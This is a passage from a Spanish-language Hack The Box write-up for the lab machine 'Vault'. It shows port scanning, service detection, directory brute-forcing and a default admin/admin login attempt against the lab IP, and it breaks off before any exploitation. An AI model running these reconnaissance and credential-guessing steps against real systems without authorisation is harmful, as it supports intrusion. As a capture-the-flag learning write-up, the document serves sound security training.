<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB write-up: Vault</title><link>https://www.xbyte.mx/posts/htb_writeup_-_vault/</link><pubDate>Sat, 06 Apr 2019 08:41:14 -0600</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_vault/</guid><description>&lt;p&gt;Sin duda me gusto mucho esta maquina. Bypass de filtros por nombre, VPN sobre SSH, proxychains y muchos túneles mágicos.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Sin duda me gusto mucho esta maquina. Bypass de filtros por nombre, VPN sobre SSH, proxychains y muchos túneles mágicos.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/d418d8d675d22e951160a5edabf926d7_thumb.png" alt="vault image"> <a href="https://www.hackthebox.eu/home/machines/profile/161">vault</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/5621">nol0gz</a></td>
          <td>Linux</td>
          <td>10.10.10.109</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-vault/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar un <code>nmap</code> y un <code>masscan</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -p- -n --open -v 10.10.10.109
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-26 23:29 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 23:29
</span></span><span style="display:flex;"><span>Scanning 10.10.10.109 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 23:29, 0.42s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 23:29
</span></span><span style="display:flex;"><span>Scanning 10.10.10.109 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.109
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.109
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 28.21% done; ETC: 23:30 (0:01:19 remaining)
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 38.31% done; ETC: 23:31 (0:01:38 remaining)
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 23:31, 135.50s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.109
</span></span><span style="display:flex;"><span>Host is up (0.21s latency).
</span></span><span style="display:flex;"><span>Not shown: 56653 closed ports, 8880 filtered ports
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE
</span></span><span style="display:flex;"><span>22/tcp open  ssh
</span></span><span style="display:flex;"><span>80/tcp open  http
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 136.10 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 121692 (5.354MB) | Rcvd: 84813 (3.393MB)
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Doble check con <code>masscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.109
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-02-27 04:25:11 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.109
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.109
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN ):</li>
</ul>
<p>Como podemos ver los puertos son los mismos, por lo que iniciamos por identificar los servicios nuevamente con <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos <code>nmap</code> con los parámetros habituales para la identificación (-sC -sV):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sV -sC -p80,22 -n 10.10.10.109 --script discovery
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-26 23:33 CST
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.109
</span></span><span style="display:flex;"><span>Host is up (0.20s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
</span></span><span style="display:flex;"><span>|_banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>|   2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
</span></span><span style="display:flex;"><span>|   256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
</span></span><span style="display:flex;"><span>|_  256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
</span></span><span style="display:flex;"><span>| ssh2-enum-algos:
</span></span><span style="display:flex;"><span>|   kex_algorithms: (6)
</span></span><span style="display:flex;"><span>|   server_host_key_algorithms: (5)
</span></span><span style="display:flex;"><span>|   encryption_algorithms: (6)
</span></span><span style="display:flex;"><span>|   mac_algorithms: (10)
</span></span><span style="display:flex;"><span>|_  compression_algorithms: (2)
</span></span><span style="display:flex;"><span>80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
</span></span><span style="display:flex;"><span>|_http-chrono: Request times for /; avg: 455.26ms; min: 410.22ms; max: 522.30ms
</span></span><span style="display:flex;"><span>| http-headers:
</span></span><span style="display:flex;"><span>|   Date: Wed, 27 Feb 2019 05:34:13 GMT
</span></span><span style="display:flex;"><span>|   Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>|   Connection: close
</span></span><span style="display:flex;"><span>|   Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>|
</span></span><span style="display:flex;"><span>|_  (Request type: HEAD)
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 338.50 seconds
</span></span></code></pre></div><ul>
<li><code>-sC</code> para que ejecute los scripts safe-discovery de nse</li>
<li><code>-sV</code> para que me traiga el banner del puerto</li>
<li><code>-p80,22</code> para unicamente los puertos TCP/22 y TCP/80</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>--script discovery</code> para ejecutar los NSE clasificados en discovery (and not safe, que es el por defecto)</li>
</ul>
<p>Como podemos ver tenemos un Servidor apache 2.4.18 y un servidor openssh 7.2.p2. Continuemos por navegar por el servidor web.</p>
<h1 id="httpie-to--and-beyond">httpie to / and beyond</h1>
<p>Veamos que tenemos en el home del servidor web:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http http://10.10.10.109/index.php
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 215
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 05 Mar 2019 06:56:43 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;b&gt;Welcome to the Slowdaddy web interface&lt;/b&gt;
</span></span><span style="display:flex;"><span>&lt;p&gt;
</span></span><span style="display:flex;"><span>We specialise in providing financial orginisations with strong web and database solutions and we promise to keep your customers financial data safe.
</span></span><span style="display:flex;"><span>&lt;p&gt;
</span></span><span style="display:flex;"><span>We are proud to announce our first client: Sparklays
</span></span><span style="display:flex;"><span>(Sparklays.com still under construction)
</span></span></code></pre></div><p>Nos indica que la pagina se encuentra en construcción, que se trata de una empresa que atiende al sector financiero y que su primer cliente es <code>sparklays</code>.</p>
<p>Lo primero que intente fue cambiar el header para buscar la pagina en construcción, pero no tuve éxito:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http 10.10.10.109 Host:sparklays.com
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 215
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 05 Mar 2019 06:58:57 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;b&gt;Welcome to the Slowdaddy web interface&lt;/b&gt;
</span></span><span style="display:flex;"><span>&lt;p&gt;
</span></span><span style="display:flex;"><span>We specialise in providing financial orginisations with strong web and database solutions and we promise to keep your customers financial data safe.
</span></span><span style="display:flex;"><span>&lt;p&gt;
</span></span><span style="display:flex;"><span>We are proud to announce our first client: Sparklays
</span></span><span style="display:flex;"><span>(Sparklays.com still under construction)
</span></span></code></pre></div><p>Continué lanzando un <code>dirb</code> sobre home, pero no encontró resultados.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ dirb http://10.10.10.109/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>DIRB v2.22
</span></span><span style="display:flex;"><span>By The Dark Raver
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>START_TIME: Sun Mar  6 08:58:33 2019
</span></span><span style="display:flex;"><span>URL_BASE: http://10.10.10.109/
</span></span><span style="display:flex;"><span>WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>GENERATED WORDS: 4612
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Scanning URL: http://10.10.10.109/ ----
</span></span><span style="display:flex;"><span>+ http://10.10.10.109/index.php (CODE:200|SIZE:299)
</span></span><span style="display:flex;"><span>+ http://10.10.10.109/server-status (CODE:403|SIZE:300)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>END_TIME: Sun Mar  6 09:22:23 2019
</span></span><span style="display:flex;"><span>DOWNLOADED: 4612 - FOUND: 2
</span></span></code></pre></div><p>Apunte a la carpeta con el nombre del sitio y bang, un 301 y un 403 respectivamente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http http://10.10.10.109/sparklays
</span></span><span style="display:flex;"><span>HTTP/1.1 301 Moved Permanently
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 316
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=iso-8859-1
</span></span><span style="display:flex;"><span>Date: Tue, 05 Mar 2019 07:01:37 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Location: http://10.10.10.109/sparklays/
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE HTML PUBLIC &#34;-//IETF//DTD HTML 2.0//EN&#34;&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">title</span>&gt;301 Moved Permanently&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Moved Permanently&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;The document has moved &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://10.10.10.109/sparklays/&#34;</span>&gt;here&lt;/<span style="color:#f92672">a</span>&gt;.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">hr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">address</span>&gt;Apache/2.4.18 (Ubuntu) Server at 10.10.10.109 Port 80&lt;/<span style="color:#f92672">address</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;&lt;/<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http http://10.10.10.109/sparklays/
</span></span><span style="display:flex;"><span>HTTP/1.1 403 Forbidden
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 297
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=iso-8859-1
</span></span><span style="display:flex;"><span>Date: Tue, 05 Mar 2019 07:01:45 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE HTML PUBLIC &#34;-//IETF//DTD HTML 2.0//EN&#34;&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">title</span>&gt;403 Forbidden&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Forbidden&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;You don&#39;t have permission to access /sparklays/
</span></span><span style="display:flex;"><span>on this server.&lt;<span style="color:#f92672">br</span> /&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">hr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">address</span>&gt;Apache/2.4.18 (Ubuntu) Server at 10.10.10.109 Port 80&lt;/<span style="color:#f92672">address</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Lance un <code>gobuster</code> sobre este directorio:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ ~/tools/gobuster -t 20 -x html,php,txt -u http://10.10.10.109/sparklays/ -w ~/git/SecLists/Discovery/Web-Content/common.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.109/sparklays/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/SecLists/Discovery/Web-Content/common.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403
</span></span><span style="display:flex;"><span>[+] Extensions   : html,php,txt
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/03/05 00:56:57 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/.hta (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.html (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.php (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.html (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.html (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.php (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.php (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.txt (Status: 403)
</span></span><span style="display:flex;"><span>/admin.php (Status: 200)
</span></span><span style="display:flex;"><span>/admin.php (Status: 200)
</span></span><span style="display:flex;"><span>/design (Status: 301)
</span></span><span style="display:flex;"><span>/login.php (Status: 200)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/03/05 01:00:23 Finished
</span></span><span style="display:flex;"><span>=====================================================
</span></span></code></pre></div><ul>
<li><code>-t 20</code> para indicar cuantos hilos o procesos en paralelo pueden funcionar (20 para no matarme en mi vpn)</li>
<li><code>-x html,php,txt</code> para indicar las extensiones de los archivos que también me gustaría validar mientras se buscan carpetas</li>
<li><code>-u http://10.10.10.109/sparklays/</code> para agregar la opción obligatoria que señala la url que recibirá los request</li>
<li><code>-w ~/git/SecLists/Discovery/Web-Content/common.txt</code> para agregar la opción obligatoria que indica las palabras a probar</li>
</ul>
<p>Encontramos una carpeta y 2 archivos: <em>design</em>, <em>admin.php</em> y <em>login.php</em></p>
<p>Iniciemos validando <em>admin.php</em>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http http://10.10.10.109/sparklays/admin.php
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 312
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 05 Mar 2019 15:31:54 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action </span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;admin.php&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;GET&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">h2</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-signin-heading&#34;</span>&gt;Please Login&lt;/<span style="color:#f92672">h2</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;input-group&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	  &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;input-group-addon&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;basic-addon1&#34;</span>&gt;username&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>	  &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;username&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-control&#34;</span> <span style="color:#a6e22e">placeholder</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;username&#34;</span> <span style="color:#a6e22e">required</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">label</span> <span style="color:#a6e22e">for</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;inputPassword&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sr-only&#34;</span>&gt;Password&lt;/<span style="color:#f92672">label</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;password&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;password&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;inputPassword&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-control&#34;</span> <span style="color:#a6e22e">placeholder</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Password&#34;</span> <span style="color:#a6e22e">required</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn btn-lg btn-primary btn-block&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span>&gt;Login&lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      &lt;/<span style="color:#f92672">form</span>&gt;
</span></span></code></pre></div><p>Parece que se trata de un form que acepta peticiones GET, probemos enviadole admin/admin:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http &#39;http://10.10.10.109/sparklays/admin.php?username=admin<span style="color:#960050;background-color:#1e0010">&amp;</span>password=admin&#39;
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 312
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 05 Mar 2019 15:36:40 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action </span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;admin.php&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;GET&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">h2</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-signin-heading&#34;</span>&gt;Please Login&lt;/<span style="color:#f92672">h2</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;input-group&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	  &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;input-group-addon&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;basic-addon1&#34;</span>&gt;username&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>	  &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;username&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-control&#34;</span> <span style="color:#a6e22e">placeholder</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;username&#34;</span> <span style="color:#a6e22e">required</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">label</span> <span style="color:#a6e22e">for</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;inputPassword&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sr-only&#34;</span>&gt;Password&lt;/<span style="color:#f92672">label</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;password&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;password&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;inputPassword&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-control&#34;</span> <span style="color:#a6e22e">placeholder</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Password&#34;</span> <span style="color:#a6e22e">required</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn btn-lg btn-primary btn-block&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span>&gt;Login&lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      &lt;/<span style="color:#f92672">form</span>&gt;
